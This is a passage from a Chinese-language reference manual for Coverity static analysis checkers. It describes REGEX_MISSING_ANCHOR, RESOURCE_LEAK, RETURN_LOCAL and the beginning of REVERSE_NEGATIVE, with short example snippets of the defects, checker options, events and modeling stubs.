REGEX_INJECTION:trust_system_properties:true。设置此检查器选项会覆盖全局 --trust-system-properties 和 --distrust-system-properties 命令行选项。

4.269. REGEX_MISSING_ANCHOR

安全检查器

4.269.1. 概述

支持的语言：. Ruby

REGEX_MISSING_ANCHOR 将查找未指定适当定位标记（指示字符串的开头和结尾）的正则表达式 (CWE-777)。

默认启用：REGEX_MISSING_ANCHOR 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

4.269.2. 缺陷剖析

在 Ruby 中，用于匹配字符串的开头和结尾的正确定位标记分别是 \A 和 \z。如果 Ruby on Rails 模型格式验证器使用了缺少一个或两个定位标记的正则表达式，则报告 REGEX_MISSING_ANCHOR 缺陷。

4.269.3. 示例

本部分提供了一个或多个 REGEX_MISSING_ANCHOR 示例。

下面的 Ruby on Rails 代码示例展示了在正则表达式中使用错误的定位标记 ^ 和 \$ 的情况。这些定位标记与行的开头和结尾匹配，可能允许攻击者绕过对新行字符的验证。

```
class User < ActiveRecord::Base
  validates_format_of :name, :with => /^[a-zA-Z]+$/
end
```

4.270. RESOURCE_LEAK

质量、安全 (Java) 检查器

4.270.1. 概述

支持的语言：. C、C++、C#、Objective-C、Objective-C++、Java、Ruby、Visual Basic

RESOURCE_LEAK 可查找程序未能保证尽快释放系统资源的情况。没有释放所需资源的应用程序可能面临性能降级、崩溃、拒绝服务或无法成功获取指定资源。

默认启用 : RESOURCE_LEAK 默认启用。有关启用/禁用详情和选项 , 请参阅Section 1.2, “启用和禁用检查器”。

Android (仅限 Java) : 对于基于 Android 的代码 , 此检查器 查找与用户活动、屏幕活动、应用程序状态以及其他项目相关的问题。可

 Note

有关此检查器的 Dynamic Analysis 版本的详情 , 请参阅Section 4.271, “RESOURCE_LEAK (Java Runtime)”。

4.270.1.1. C/C++

对于 C/C++ , RESOURCE_LEAK 可从“占有”资源 (最常见的是新分配的内存) 期间越界的变量中查找许多类型的资源泄漏。

轻微的内存泄漏可能导致长时间运行且未重启的进程发生问题。严重的内存泄漏可能导致进程崩溃。如果来自网络的用户输入内容或数据触发了内存泄漏 , 则可能发生拒绝服务攻击。

文件描述符或套接字泄漏可能导致崩溃、拒绝服务以及无法打开更多文件或套接字。操作系统可限制一个进程可以拥有多少个文件描述符和套接字。达到限制后 , 进程必须先关闭一部分资源的打开句柄 , 然后才能分配更多。如果进程泄漏了这些句柄 , 则在进程终止之前 , 无法回收这些资源。

很多内存泄漏都发生在错误路径中 , 其中会遇到错误条件并且意外泄漏内存。其中一些情况可以通过在函数中使用单独的退出标签 (每个错误退出通过 goto 语句转到其中) 避免。此退出标签可以根据需要释放资源。

避免内存泄漏的常用技术是使用可记住在 arena 中分配的所有内存的 arena , 直到单个释放点将其完全释放。在适当的情况下 , arena 分配器拥有显著的速度和正确性优势。

在 C++ 中 , 资源获取即初始化 (RAII) idiom 可以自动释放资源。idiom 包含一个类 , 该类包含一个可释放资源的构造函数和一个可释放资源的析构函数。在声明该类类型的本地变量时 , 它会在越界时自动调用析构函数来释放资源。这还可以防止由抛出的异常导致的泄漏。

默认情况下 , 检查器会做出以下假设 , 以减少误报 :

- 未实现的函数别名或释放参数。
- 通过 ... (省略号表示未指定数量的参数) 传递的指针被传递给不会导致资源泄漏的函数。
- 当 main() 返回时 , 释放内存。
- 转换为整数的跟踪指针使用别名。

您可以启用各种选项来更改这些假设 , 并增加报告的缺陷数。

4.270.1.2. C# 和 Visual Basic

在 C# 和 Visual Basic 中 , 并不能保证 .NET Garbage Collector 一定会及时或完全关闭系统资源 , 即使在某些情况下 , 它会在其他对象无法访问相应资源时关闭此类资源。依靠该垃圾回收器或终结函数来清理这些资源会导致资源的保留时间超过必要的时。这种浪费可能导致资源耗尽 , 在这种情况下 , 在同一系统

中运行的您的程序或其他程序会由于无法获取这些资源而无法运行。因此，尽快显式释放这些资源才是好做法。如果可以，`Dispose()` 和 `Close()` 方法允许显式释放资源。

如果发现 `Dispose()` 方法永远无法释放资源，`RESOURCE_LEAK` 检查器不会报告缺陷。

4.270.1.3. Java 和 C#

在 Java 和 C# 中，`RESOURCE_LEAK` 检查器查找未能释放内存以外的系统资源的情况。持有系统资源超过必要的时间可能会极大地影响应用程序的吞吐量、可用性、可靠性和可扩展性，以及竞争相同资源的任何其他性能。例如，未能关闭数据库连接可能会使其不必要地打开，最终导致数据库连接被拒绝。或者，未能关闭文件可能使其他进程无法操纵该文件，或促使每个进程、每个用户或系统范围的打开文件句柄耗尽。

另外，适用于 Java 和 C# 的 `RESOURCE_LEAK` 检查器可以发现一些逻辑错误，例如保留对再也不会使用的对象的引用。发现这些错误是因为检查器查找特定模式：创建实现 `IDisposable` (C#)、`Closeable` 或 `AutoCloseable` (Java) 的对象，其中在执行 `Dispose` (C#) 或 `close` (Java) 方法时会发生一些令人关注的事情，但是该方法不会沿着给定的执行路径调用。

为了确保检查器广泛适用于不同类型的资源，对 `Dispose` (C#) 或 `close` (Java) 方法中发生的一些令人关注的事情进行了广泛的解释。因此，当 `Dispose` (C#) 或 `close` (Java) 是空操作时（例如对于 `StringWriter`），检查器不会认为该对象需要关闭（没有缺陷）。当 `Dispose` (C#) 或 `close` (Java) 除了释放系统资源还做了一些其他令人关注的事情时（例如修改被关闭的对象之外的其他对象），通常做法是指定在对象结束时应调用该方法。因此，在这种情况下未能调用 `Dispose` 或 `close` 会被报告为 `RESOURCE_LEAK`，但实际上构成逻辑错误或违反惯例。下面的“Java 和 C# 模型”部分描述了如何自定义检查器，以在需要时不报告某些对象。



Note

在 Java 中，`RESOURCE_LEAK` 检查器可查找只通过本地变量引用的资源泄漏。它在程序间执行检查，从而确定返回资源的方法和可节省或关闭传入其中的资源的方法。它不会跟踪存储到对象字段中的资源。您可以使用 Dynamic Analysis `RESOURCE_LEAK` 检查器来查找此类资源的泄漏。

4.270.1.3.1. 垃圾回收

在 Java 和 C# 运行时系统中，不能依赖无用数据收集器来释放系统资源。无用数据收集器的主要功能是通过查找不再被引用的对象来回收内存。由于任何足够大的内存空间都可以满足分配请求，因此不能保证何时回收特定对象的内存。分代无用数据收集器利用这种灵活性来优化无用数据收集的速度，但是这影响无用数据收集器的二级功能，即在它回收的任何对象上运行终结函数，使得与回收对象相关联的系统资源本身被释放或回收。

由于不能保证何时回收特定对象，因此不能保证何时回收与未引用对象相关联的系统资源。运行时可以无限期地持有打开的未引用资源，而无用数据收集器正在为新对象回收足够的内存，即使程序明确要求无用数据收集器唤醒并运行。

4.270.1.3.2. 内存和资源使用的最佳做法

由于 Java/C# 无用数据收集器中的这些限制，程序必须在丢失对象的最后一个引用之前 `Dispose` (C#) 或 `close` (Java) 引用系统资源的该对象，以确保及时释放这些资源。在结束资源后只是简单地调用 `Dispose` 或 `close` 通常是不够的，因为如果抛出异常，则不会调用该方法。

我们建议在 C# 中使用 `using` 语句或者在 Java 中使用 `try-with-resources` 语句，以确保在退出块的所有路径上处置或关闭可处置或可关闭的对象（包括异常情况）。另外，在 `finally` 块中调用 `Dispose` (C#) 或 `close` (Java) 同样有效，但更为冗长，容易出错。

我们还建议对所有 `IDisposable`、`Closeable` 和 `AutoCloseable` 对象使用这些 idiom，因为很难确定哪些对象实际上不需要处置或关闭。互联网上的来源可能包含误导性或不正确的信息。即使类 X 有一个空 `close` 方法，X 的子类可能有一个令人关注的 `close` 方法，或者类 X 在将来可能会被修改。

4.270.1.3.3. 限制

如上所述，适用于 Java 和 C# 的 `RESOURCE_LEAK` 检查器对于不需要处置或关闭的对象是智能的，但是可能会高估与需要释放的资源相关联的对象集。在特定的环境中，某些资源实际上可能无法耗尽：在耗尽系统资源之前，很可能会用完托管内存。但是，在其他执行环境中，情况可能并非如此。`RESOURCE_LEAK` 报告的一些对象只是即使不持有系统资源，也“预期被处置/关闭”。下面的“Java 和 C# 模型”部分描述了如何自定义检查器，以在需要时不报告某些对象。

为了报告缺陷，`RESOURCE_LEAK` 检查器必须高度有信心地确定，除了执行当前函数之外，不存在任何对资源的引用，因为这样的引用可以在稍后用于关闭或处置该对象。由于这个和其他分析限制，`RESOURCE_LEAK` 当前不会针对分配给对象字段或数组元素的引用报告缺陷。

4.270.1.4. Ruby

对于 Ruby on Rails：在 2.2.0 之前的 Ruby 版本中，从不对 `Symbol` 对象进行垃圾回收。尽管 `Symbol` 占用的内存很少，但是如果代码根据用户提供的值动态创建 `Symbol`，则攻击者可能会导致进程内存不足。

4.270.2. 缺陷剖析

`RESOURCE_LEAK` 缺陷包括两部分：首先，它会显示已分配或打开的资源，例如内存（在 C/C++ 中）或文件句柄、套接字或数据库连接（使用任何语言）。然后，它会显示控制流路径，其中所有变量越界占用资源，并且未正确清理资源（通过释放资源、将句柄返回给操作系统、关闭连接等）。换言之，它会显示无法清理资源的路径。在某些函数调用位置中，该路径可能表明调用的函数未处理资源或者存储资源（稍后可以处理资源）。

对于 Ruby on Rails：如果所分析的应用程序指定了低于 2.2.0 的 Ruby 版本和低于 5.0.0 的 Ruby on Rails 版本，将针对从动态值创建的符号报告 `RESOURCE_LEAK` 缺陷。

4.270.3. 示例

本部分提供了一个或多个 `RESOURCE_LEAK` 示例。

4.270.3.1. C/C++

```
int leak_example(int c) {
    void *p = malloc(10);
    if(c)
        return -1;    // "p" is leaked
    /* ... */
    free(p);
    return 0;
```

```
}
```

```
int wrong_error_check() {
    void *p = malloc(10);
    void *q = malloc(20);
    if(!p || !q)
        return -1; // "p" or "q" may be leaked if the other is NULL
    /*...*/
    free(q);
    free(p);
    return 0;
}
```

```
int test(int i) {
    void *p = malloc(10);
    void *q = malloc(4);
    if(i > 0)
        p = q;      /* p is overwritten and is the last pointer
    else                  to the allocated memory */
        free(q);
    free(p);
    return 0;
}
```

```
void test(int c) {
    FILE *p = fopen("foo.c", "rb");
    if(c)
        return;      // leaking file pointer "p"
    fclose(p);
}
```

以下示例说明了 RESOURCE_LEAK 在启用 allow_unimpl 选项后报告缺陷的情况：

```
extern void unimpl(void *p);
void calls_unimpl() {

    char *p = strdup("memory");
    unimpl(p); /* Defect: "p" is leaked because unimpl function
                 does not save memory */

}
```

以下示例说明了 RESOURCE_LEAK 在启用 allow_virtual 选项后报告缺陷的情况：

```
void simple(void *p) { /* does nothing */ }

void calls_fnptr() {
    char *p = strdup("memory");
    void (*fnptr)(void *) = simple;
    fnptr(p);           // Defect
```

```
}
```

以下是泄漏句柄缺陷的示例：

```
int handle_leak_example(int c) {
    int fd = open("my_file", MY_OPEN_OPTIONS);
    if(c)
        return -1; // "fd" is leaked
    /* ... */
    close(fd);
    return 0;
}
```

4.270.3.2. C#

在下面的示例中，`leak` 方法将新的 `MyDisposable` 资源存储到 `d` 中，但绝不关闭它。

```
class ResourceLeak {
    class MyDisposable : IDisposable {
        private FileStream fs;
        public MyDisposable(String path) {
            fs = File.OpenRead(path);
        }

        public void Dispose() {
            fs.Close();
        }
    }

    static void leak(string path) {
        IDisposable d = new MyDisposable(path);
        // Defect: The function exits without closing the obtained resource
    }
}
```

4.270.3.3. Java

```
import java.io.*;

public class ResourceLeak {
    public void processFiles(String... srcts) throws IOException {
        // Neither this method nor processStream closes
        // the FileInputStream
        for(String src : srcts) {
            processStream(new FileInputStream(src)); // RESOURCE_LEAK defect
        }
    }

    OutputStream dst;
    private void processStream(InputStream src) throws IOException {
        int b;
        while ((b = src.read()) >= 0) {
```

```

        dst.write(b);
    }
}
}

```

4.270.3.4. Ruby

以下 Ruby-on-Rails 代码示例演示了如何将 HTTP 请求值转换为 `Symbol`。

```

class ExampleController < ApplicationController
  def show
    name = params[:name].to_sym
  end
end

```

4.270.3.5. Visual Basic

在下面的示例中，`leak` 方法将新的 `MyDisposable` 资源存储到 `d` 中，但绝不关闭它。

```

Imports System
Imports System.IO

Class ResourceLeak
    Class MyDisposable : Implements IDisposable
        Private fs As FileStream

        Public Sub New(path As String)
            fs = File.OpenRead(path)
        End Sub

        Public Sub Dispose() Implements IDisposable.Dispose
            fs.Close()
        End Sub
    End Class

    Shared Sub leak(path As String)
        Dim d As IDisposable = New MyDisposable(path)
        ' Defect: The function exits without closing the obtained resource
    End Sub
End Class

```

4.270.4. 选项

本部分描述了一个或多个 `RESOURCE_LEAK` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `RESOURCE_LEAK:allow_address_taken:<boolean>` - 当此 C++ 选项为 `true` 时，该检查器会报告泄漏，即使获取了资源指针的地址。该检查器不会跟踪指针地址，因此此类报告很有可能是误报，因为该代码随后可能通过获取的地址释放资源。默认值为 `RESOURCE_LEAK:allow_address_taken:false`

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。

- RESOURCE_LEAK:allow_aliasing:<boolean> - 当此 C/C++ 选项和 track_fields 选项为 true 时，如果释放了指针，则该检查器会报告可能使用别名的指针（例如参数）的字段发生资源泄漏。将此选项设置为 true 可能产生更多缺陷，但也可能导致分析速度变慢以及报告更多误报。默认值为 RESOURCE_LEAK:allow_aliasing:false
- RESOURCE_LEAK:allow_cast_to_int:<boolean> - 当此 C/C++ 选项为 true 时，该检查器将报告泄漏，即使资源指针在某个时间点被转换为整数。该检查器不会跟踪此类整数发生的情况，因此此类报告很有可能是误报，因为该代码随后可能将整数重新转换为指针。默认值为 RESOURCE_LEAK:allow_cast_to_int:false（仅适用于 C 和 C++；假设指针在转换时使用了别名）。

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 medium（或 high），则该检查器选项会自动设置为 true。

- RESOURCE_LEAK:allow_constructor:<boolean> - 当此 C++ 选项和 allow_unimpl 选项为 true 时，该检查器将假设构造函数没有为参数指定别名。默认值为 RESOURCE_LEAK:allow_constructor:false（仅适用于 C++）

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。

- RESOURCE_LEAK:allow_main:<boolean> - 当此 C/C++ 选项为 true 时，该检查器将报告名为 main 的函数中发生资源泄漏。通常情况下，程序会使用 main 返回时被释放的内存。默认情况下，分析不会报告未在 main 函数中释放的内存。默认值为 RESOURCE_LEAK:allow_main:false（仅适用于 C 和 C++）

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 medium（或 high），则该检查器选项会自动设置为 true。

- RESOURCE_LEAK:allow_overwrite_model:<boolean> - 当此 C/C++ 选项和 track_fields 选项为 true 时，如果引用资源的字段在函数调用中被重写，该检查器将报告资源泄漏。将此选项设置为 true 可能会发现更多缺陷，但也可能导致分析速度变慢以及报告更多误报。默认值为 RESOURCE_LEAK:allow_overwrite_model:false（仅适用于 C 和 C++）

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 medium（或 high），则该检查器选项会自动设置为 true。

- RESOURCE_LEAK:allow_template:<boolean> - 当此 C++ 选项和 allow_unimpl 选项为 true 时，该检查器将假设模板函数没有为参数指定别名。默认值为 RESOURCE_LEAK:allow_template:false（仅适用于 C++）

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。

- RESOURCE_LEAK:allow_unimpl:<boolean> - 当此 C/C++ 选项为 true 时，如果函数的实现无法用于分析，该检查器将假设函数没有为其参数指定别名（保存）或释放其参数。将此选项设置为 true 通

常会导致该检查器报告很多误报。但是，您可以利用误报确定要为哪些 `free` 函数建模，然后运行可返回原本无法发现的真正缺陷的分析。默认值为 `RESOURCE_LEAK:allow_unimpl:false`（仅适用于 C 和 C++）

如果将 `cov-analyze` 命令的 `--aggressiveness-level` 选项设置为 `medium`（或 `high`），则该检查器选项会自动设置为 `true`。

- `RESOURCE_LEAK:allow_virtual:<boolean>` - 当此 C++ 选项和 `allow_unimpl` 选项为 `true` 时，该检查器将假设虚拟调用没有为其参数指定别名或释放其参数。默认值为 `RESOURCE_LEAK:allow_virtual:false`（仅适用于 C++）

如果将 `cov-analyze` 命令的 `--aggressiveness-level` 选项设置为 `high`，则该检查器选项会自动设置为 `true`。

- `RESOURCE_LEAK:no_vararg_leak:<boolean>` - 当此 C/C++ 选项为 `true` 时，如果指针被传递给可变参数函数（可具有不同数量参数的函数），该检查器将不会报告资源泄漏。C 函数 `printf` 就属于可变参数函数，它可以具有一个参数用于指定输出格式，以及任意数量的参数用于提供要为其设置格式的值。默认情况下，在此示例中，该检查器将报告缺陷，因为指针通常被传递给 `printf`，这无法阻止指针导致资源泄漏。如果由于可变参数函数释放参数或为参数指定别名而遇到误报，您可以使用此选项。默认值为 `RESOURCE_LEAK:no_vararg_leak:false`（仅适用于 C 和 C++）
- `RESOURCE_LEAK:report_handles:<boolean>` - 当此 C/C++ 选项为 `true` 时，该检查器除了报告内存泄漏外，还会报告非指针“句柄”泄漏。该检查器中内置了句柄打开函数的固定列表（其中大部分是 POSIX 函数），以及句柄关闭函数的类似列表。目前尚不支持使用 Coverity 建模原语的直接用户建模，但可以使用 `open()` 和 `close()` 作为打开和关闭原语，编写自定义模型。默认值为 `RESOURCE_LEAK:report_handles:true`（仅适用于 C 和 C++）

示例：

```
int my_custom_open(char const *name) {
    return open(name, 0); /* second argument doesn't matter */
}

int my_custom_close(int fd) {
    return close(fd);
}
```

- `RESOURCE_LEAK:track_fields:<boolean>` - 当此 C/C++ 选项为 `true` 时，该检查器将跟踪结构字段，并报告涉及这些字段所引用资源的资源泄漏。将此选项设置为 `true` 可能会发现更多缺陷，但也可能导致分析速度变慢以及报告更多误报。默认值为 `RESOURCE_LEAK:track_fields:false`（仅适用于 C 和 C++）

如果将 `cov-analyze` 命令的 `--aggressiveness-level` 选项设置为 `medium`（或 `high`），则该检查器选项会自动设置为 `true`。

Note

默认情况下，`RESOURCE_LEAK` 检查器抑制多种类型的缺陷报告，因为它们通常是误报。但是，您可以启用各种选项，使此检查器报告更多缺陷。启用这些选项很可能会增加误报数量。某些选项还会增加分析时间。

4.270.5. 事件

本部分描述了 RESOURCE_LEAK 检查器生成的一个或多个事件。

- alloc_arg - [C/C++] 动态分配内存的函数将该内存存储到它的其中一个参数中。
- alloc_fn - [C/C++] 调用了动态分配和返回内存的函数。
- leaked_handle - [C/C++] 已分配资源的最后一个引用的句柄超出范围。
- leaked_storage - [C/C++] 动态分配内存块的最后一个引用的指针超出范围。
- open_arg - [C/C++] 分配系统资源的函数将该资源的句柄存储在它的其中一个参数中。
- open_fn - [C/C++] 调用了返回已分配系统资源的句柄的函数。
- overwrite_var - [C/C++] 重写了持有动态分配内存块或已分配系统资源的最后一个引用的指针或句柄。
- pass_arg - [C/C++] 动态分配内存的指针被传递给没有释放该内存或将其引用存储到持续超出该函数范围的数据结构的函数，或者已分配系统资源的句柄被传递给不关闭或存储该句柄的函数。如果实际情况并非如此，抑制此事件。
- var_assign - [C/C++] 为指针分配了来自分配内存的函数的返回值或者来自另一个持有动态分配内存的指针的值，或者为句柄分配了来自分配系统资源的函数的返回值或来自另一个引用已分配系统资源的句柄的值。

4.270.6. 模型

4.270.6.1. C/C++ 模型

RESOURCE_LEAK 检查器具有可配置误报，但以下条件之一要为 true：

- Coverity Analysis 认为内存已分配，而实际上并没有。
- Coverity Analysis 认为内存未被释放，即使它被传递给释放函数。
- Coverity Analysis 未发现在所有路径中，带有已分配指针参数的函数调用将在持续数据结构中保持对该指针的引用。

要消除这些误报，您可以：

- 创建库函数，指明正确的行为。
- 对代码进行注解，以忽略报告的事件。当 Coverity Analysis 在代码中错误假设了数据依赖性（这很可能导致很可能发生资源泄漏的应用场景）时，这是正确的解决方案。

当分配或释放函数的抽象行为非常简单，但其实现并不简单时，建模是减少误报的最佳选择。例如，假设您使用了这样一个分配函数，始终在内存已分配时返回非零值，并且始终在内存未分配时返回 0。大多数分配函数都通过这种方式实现，而且 Coverity Analysis 在大部分情况下都会分析分配函数并推断此抽象。

如果分析无法推断正确的行为，您可以创建描述正确行为的 stub 函数，并将其添加到 Coverity Analysis 分析中。例如，函数名称为 `my_alloc`，并且分配的指针通过参数 1 返回，您可以为 `my_alloc` 编写以下模型：

```
int condition;
int my_alloc(void** ptr, size_t size)
{
    if (condition) {
        *ptr = 0;
        return 0;
    }
    *ptr = __coverity_alloc__(size);
    return 1;
}
```

在此函数中，共有两种可能的行为：1) 内存已分配，返回值为 1，或者 2) 内存未分配，返回值为 0。该 stub 函数使用未初始化的变量 `condition` 来表明两种行为都有可能发生。

此函数未经过程序缺陷分析，因此使用未初始化的变量并不是错误做法。这些 stub 函数用于抽象接口的行为。在此示例中，抽象行为是指对此分配器的任何调用，并且可能出现两种几率相同的结果中的一种。使用变量 `condition`，可以简单地对这两种行为无论在何种调用环境中发生几率都相同的事进行编码。此外，如果所有路径都位于函数分配内存中，则可以使用 `coverity[+alloc]` 函数注解代替 `__coverity_alloc__` 调用。

同样地，如果 Coverity Analysis 不理解特定函数在特定条件下会释放内存，正确的解决方案是添加将提供的指针显式释放为参数的 stub 函数：

```
void my_free(void* ptr)
{
    __coverity_free__(ptr);
}
```

如果 `my_free` 的行为包括上下文相关性（基于参数的值或返回值），这可以在 stub 函数中通过与上述 `my_alloc` 函数类似的方式进行编码。此外，如果函数中的所有路径都释放了分配给某个参数的内存，则可以使用 `coverity[+free]` 函数注解代替 `__coverity_free__` 调用。

4.270.6.2. Java 和 C# 模型

要提高 RESOURCE_LEAK 检查器的准确性，您可以编写可显示已知分配和释放程序的小 stub 函数。利用此补充信息，Coverity Analysis 能够在代码中找到此类资源可以分配但无法正确释放的路径。在 Java 中，通过调用 Coverity `open()` 或 `close()` 方法（在 C# 中，则是调用 `Open()` 或 `Close()`），分析可以确定哪些程序分配或释放了指定对象。

Java 示例：

```
import com.coverity.primitives.Resource_LeakPrimitives;

public class ResourceLeakExample_Model {
    ResourceLeakExample_Model() {
        Resource_LeakPrimitives.open(this);
```

```
}

void close() {
    Resource_LeakPrimitives.close(this);
}
}
```

C# 示例：

```
using Coverity.Primitives;

public class ResourceLeakExample_Model {
    ResourceLeakExample_Model() {
        Reference.Open(this);
    }

    public void Dispose() {
        Reference.Close(this);
    }
}
```

在上述模型中，ResourceLeakExample_Model 和所有子类都被视为资源。目前并没有容易的方法来建模从而将接口的所有实现器视为资源；但是，分析一定会将 java.io.Closeable()（在 Java 中是 java.lang.AutoCloseable()，在 C# 中是 System.IDisposable）的所有实现器都视为可能的资源。

Java 和 C# 中的一种常见做法是将资源（例如数据流）封装在另一个资源中。在下面的 Java 示例中，fis 和 bis 都被视为同一资源的别名，因为关闭其中任意一个都足以释放基础资源。

Java 示例：

```
FileInputStream fis = new FileInputStream("foo");
BufferedInputStream bis = new BufferedInputStream(fis);
```

C# 示例：

```
var fs = new FileStream("foo", FileMode.Create);
var sw = new StreamWriter(fs);
```

建模可以消除有关分析不了解的封装类的误报缺陷；方法是在 Java 中使用 alias 原语（在 C# 中则是 Alias），如下面的示例所示。

Java 示例：

```
public class ResourceLeakExample_Wrapper {
    public ResourceLeakExample_Wrapper(OutputStream out) {
        // Let 'this' refer to the same resource as 'out'
        Resource_LeakPrimitives.alias(this, out);
    }

    // ... (more methods)
```

```
}
```

C# 示例：

```
public class ResourceLeakExample_Wrapper {  
    public ResourceLeakExample_Wrapper(System.IO.Stream out) {  
        // Let 'this' refer to the same resource as 'out'  
        Resource.Alias(this, out);  
    }  
  
    // ... (more methods)  
}
```

建模还可以防止分析将 `java.io.Closeable` (在 Java 中是 `java.lang.AutoCloseable`，在 C# 中是 `System.IDisposable`) 的特定实现器视为需要关闭的资源。为此，只需在每个构造函数中，在创建之后立即关闭潜在的资源：

Java 示例：

```
public class ResourceLeakExample_DoesntNeedClosing  
extends java.io.Reader // (which implements Closeable)  
{  
    public ResourceLeakExample_DoesntNeedClosing() {  
        // This potential resource does not need closing  
        Resource_LeakPrimitives.close(this);  
    }  
    public ResourceLeakExample_DoesntNeedClosing(int i) {  
        // Need to model all constructors  
        Resource_LeakPrimitives.close(this);  
    }  
  
    // ... (more methods)  
}
```

请注意，子类不会被视为资源。

C# 示例：

```
public class ResourceLeakExample_DoesntNeedClosing  
: System.IO.Stream // (which implements IDisposable)  
{  
    public ResourceLeakExample_DoesntNeedClosing() {  
        // This potential resource does not need closing  
        Reference.Close(this);  
    }  
    public ResourceLeakExample_DoesntNeedClosing(int i) {  
        // Need to model all constructors  
        Reference.Close(this);  
    }  
}
```

```
// ... (more methods)
}
```

4.271. RESOURCE_LEAK (Java Runtime)

质量、Dynamic Analysis 检查器

4.271.1. 概述

Dynamic Analysis 会在观察到资源（例如套接字或 `FileOutputStream`）中存在潜在泄漏时报告 `RESOURCE_LEAK`；即，资源被打开，但未被显式关闭。

文件描述符或套接字泄漏可能导致崩溃、拒绝服务以及无法打开更多文件或套接字。操作系统可限制一个进程可以拥有多少个文件描述符和套接字。达到限制后，进程必须先关闭一部分资源的打开句柄，然后才能分配更多。

垃圾回收器可以关闭这些资源，并且最终将文件描述符和套接字（即当它们超出范围并且其存储被回收时）返回给操作系统。但是，在此之前，尝试使用更多此类资源会失败。



Note

`RESOURCE_LEAK` 检查器不查找内存泄漏。

4.271.2. 问题

下表指明了该检查器发现的问题的影响，并根据问题的类型、类别和 CWE 缺陷库（如果可用）标识符进行了说明。这些属性与 Coverity Connect 中显示的检查器信息相对应。请注意，该表还可能指明与问题类型和检查器类别相关的检查器子类别。

Table 4.4. 问题影响 : `RESOURCE_LEAK`

问题类型	检查器类别	影响	语言	CWE
资源泄漏	资源泄漏	高	Java	404

有关 `RESOURCE_LEAK` 的详细信息，请参阅 Chapter 2, 。

4.271.3. 示例

Dynamic Analysis 会在代码中资源被打开的位置报告 `RESOURCE_LEAK` 缺陷。在下面的示例中，Dynamic Analysis 观察到 `FileOutputStream` 已打开但未关闭，因此报告了此缺陷。在此示例中，与 `FileOutputStream` 关联的文件句柄（或文件说明符）将保持打开状态，直到泄漏的资源超出范围且垃圾回收器开始回收其存储。

```
/*
 * RESOURCE_LEAK defect:
 *     File is opened for output and later not closed.
 */
static PrintStream leaked;
```

```

public static void simpleResourceLeak() {
    System.out.println("**** RESOURCE_LEAK example");
    File f = null;
    try {
        f = File.createTempFile("da-example", null);
    /* Allocating resource of type "java.io.PrintStream". */
        leaked = new PrintStream(new FileOutputStream(f), true, "UTF-8");
        leaked.println("some stuff");
        /* The file did not close. A resource was leaked before it
         * went out of scope. */
        leaked = null;
    } catch (Throwable e) {
        System.err.println("Problem with RESOURCE_LEAK example: " + e);
    }
    quietlyDelete(f);
}

```

4.271.4. 选项

RESOURCE_LEAK 检查器的选项被设置为 Dynamic Analysis 代理选项或 Ant 属性。请参阅《Coverity 命令说明书》，了解选项详情。

- RESOURCE_LEAK:detect-resource-leaks:<boolean> - 该选项可指示检查器检测资源泄漏。默认值为 true。
- RESOURCE_LEAK:use-resource-models - 该选项可向 RESOURCE_LEAK 检查器提供包含其他资源管理方法列表的文件。为类指定 OPEN 和 CLOSE 方法将指示 RESOURCE_LEAK 检查器，在该类的实例调用了 OPEN 方法且后续不调用 CLOSE 方法时，报告 RESOURCE_LEAK。<CIC_install_dir>/dynamic-analysis/dynamic-analysis.jar 中的 jdkResourceList.txt 文件包含很多示例。此选项无默认值。

4.271.5. 事件

该检查器的事件包括堆栈跟踪。

本部分描述了 RESOURCE_LEAK 检查器生成的一个或多个事件。

- resource_allocation - 资源被打开。请参阅前面的示例中打开的 java.io.PrintStream 类型的资源。
- resource_stored - 打开的资源被存储到字段中。例如，Storing allocated resource of type "java.io.FileInputStream" to a field.。

4.272. RETURN_LOCAL

质量检查器

4.272.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

RETURN_LOCAL 查找从函数返回本地变量地址的很多情况。该地址会在函数返回后立即失效，因此通常会导致内存损坏和无法预测的行为。

在 C 和 C++ 中，随着堆栈框架被移除并且控制被返回给调用函数，所有本地变量会在函数退出时丢失。在被调用方的堆栈中分配的变量不再相关；它们的内存将在调用新函数时被重写。将指向本地栈变量的指针返回给调用函数可能导致内存损坏和不一致的行为。此检查器可查找函数返回指向堆栈分配变量的指针的情况。

默认启用：RETURN_LOCAL 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

4.272.2. 示例

本部分提供了一个或多个 RETURN_LOCAL 示例。

```
some_struct * basic_return_local(struct some_struct *b) {
    struct some_struct a(*b);           // a is copy-constructed onto the stack
    return &a;                         // Returns a pointer to local struct a
}
```

4.272.3. 选项

本部分描述了一个或多个 RETURN_LOCAL 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- RETURN_LOCAL:report_fields_and_globals:<boolean> - 如果此选项被设置为 true，该检查器将在本地变量的地址由于被指定给参数的字段或全局变量而超出范围时报告缺陷。默认值为 RETURN_LOCAL:report_fields_and_globals:false。

4.272.4. 事件

本部分描述了 RETURN_LOCAL 检查器生成的一个或多个事件。

- local_ptr_assign_local - 指针被赋予了本地变量的地址。
- return_local_addr - 直接返回了本地变量的地址。
- return_local_addr_alias - 返回了先前被赋予了本地变量地址的变量。

4.273. REVERSE_NEGATIVE

质量检查器

4.273.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

`REVERSE_NEGATIVE` 查找将整数用作数组索引，但之后检查其是否为负数的很多情况。如果整数可能为负，则该检查执行得太迟。如果整数不可能为负，则没有必要执行该检查。

在开发期间，经常会忽略在通过可能产生危险的方式使用整数之前对其执行正确的边界检查。错误处理负整数可能导致从内存损坏到安全缺陷等难以查找的问题。此检查器可查找通过危险方式使用整数，之后又执行是否为负的检查的情况。以下两种情况可能导致此应用场景：

- 程序员“知道”整数不可能为负；在这种情况下，检查是不必要的并且应该移除，因为这会提示其他程序员整数可能为负。
- 整数实际上可能为负，需要在通过危险方式使用整数之前对其进行检查。

如果 `REVERSE_NEGATIVE` 误认为存在以下情况，则可能产生误报：

